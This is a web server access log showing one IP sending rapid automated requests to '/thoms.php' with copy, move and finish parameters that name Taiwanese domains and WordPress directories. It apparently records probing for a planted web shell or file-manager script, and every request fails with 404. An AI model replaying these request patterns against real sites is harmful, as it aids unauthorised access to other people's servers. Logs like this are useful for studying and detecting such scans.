45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=upgrade&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=upgrade&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=upgrade&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=upgrade&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=upgrade&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=upgrade&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:19 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2F.tmb HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2Fclient-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2Fsync-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:20 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:21 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:22 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
